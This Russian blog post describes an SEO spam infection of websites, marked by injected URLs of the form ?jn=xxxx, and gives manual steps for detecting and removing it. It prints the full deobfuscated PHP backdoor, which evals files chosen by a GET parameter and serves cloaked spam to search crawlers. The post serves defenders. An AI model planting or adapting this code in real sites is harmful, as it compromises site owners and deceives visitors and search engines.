Внедрение через URL: www.site.ru/?jn=xxxxxxxx

Буквально на днях столкнулся с новым (*?) вариантом спам-вируса для веб-сайтов. Гугл определяет его как «Внедрение через URL».

Описание

На вашем сайте появляются ссылки которых не было и быть не могло — вы, например, четко знаете структуру сайта и оригинальный вид URL, который отличается от «левых» URL. В частности, в индексе поисковиков появляются ссылки вида:
www.site.ru/?jn=xxxxxxxx

Поиск и устранение

Яндекс-Вебмастер пока не реагирует на них, а вот в инструментах Гугла для вебмастеров выдается предупреждение о возможном взломе сайта. Там же даны рекомендации по поиску. К сожалению они довольно общие и конкретный поиск проблемы занимает время. Антивирусы и он-лайн анализаторы сайтов — результата не дают. Только ручками.

Вариант А: Код не обфусцирован

  1. Ищем в исходниках кто и как у нас пользует переменную $_GET['jn']
  2. Далее по коду смотрим кто где гадит (например: \js\swfupload\plugins\jquery\)

Вариант Б: Код обфусцирован

  1. Ищем каталог с файлами, названия которых идут после "?jn="
  2. Ищем подозрительные исполняемые файлы типа images/c0nfv.php
  3. Можно сделать поиск путей где могут быть файлы а-ля "/img/icon/thumb/jquery.php"
  4. Проверить дату изменения конфигов CMS
  5. Рекомендуется проверить на наличие (корректность) файлов base.php — это само тело вируса, код обфусцирован
  6. Проверяем дату jquery.php и сравниваем ее с датой обнаружения вируса по мониторингу инструментов вебмастеров Гугла.

Встречается

Полный код (необфусцированного) зловредного кода под катом.

<?php if(isset($_GET['jn'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";$uhvuusgp=str_replace('..','',$_GET[$qjkx]);if(is_file($ftdavmbe.'/'.$uhvuusgp)){header('Content-Type: text/html; charset=windows-1251',false);echo eval/**/('?>'.join("",file($ftdavmbe."/$uhvuusgp")).'<?');die;}}if(preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";if(is_file($ftdavmbe."/db.php")){include $ftdavmbe."/db.php";$jxbecpzx=preg_replace("/[0]*$/","", preg_replace("/\.*/","",(string)sprintf('%f', hexdec(sha1($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])))));$iwtcrjis=substr($jxbecpzx,20,3);if(substr($iwtcrjis,0,1)==0){do{$x++;$iwtcrjis=substr($jxbecpzx,20+$x,3);}while(substr($iwtcrjis,0,1)==0);}include $ftdavmbe."/".$iwtcrjisy[$iwtcrjis];echo mb_convert_encoding($ohjjpibn[72], 'UTF-8', 'Windows-1251');}}?>

Причины взлома

Вариантов, скорее всего, 3:

Статьи по теме:

Opera 21 всегда показывает полный URL YouTube оказался беззащитен против ASCII-порнографии Адресная строка: страдает, но не прощается! В Java обнаружена первая за два года уязвимость нулевого дня Dropbox сливал кому попало секретные URL через referer Новый троян может разорить владельца заражённого Android устройства Операторы связи разблокировали ЖЖ Google представил инструмент борьбы с воровством контента "Яндекс.Вебмастер" позволит "Проверить URL" Вредоносное программное обеспечение атакует пользователей iPhone